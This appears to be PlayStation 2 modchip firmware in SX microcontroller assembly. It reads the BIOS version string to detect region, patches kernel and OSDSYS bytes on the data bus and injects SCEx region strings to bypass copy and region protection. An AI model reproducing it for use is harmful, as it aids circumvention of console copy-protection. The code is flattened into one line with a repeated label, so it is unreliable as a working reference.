809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip ****************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... mode $000E ;? mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)2560.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- NOTCALLED0 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************ ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD sb PSX_FLAG jmp TRAY_IS_EJECTED ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#59;$3b ;load timer=61,delay = (256-61)2560.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- NOTCALLED3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED1 mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr 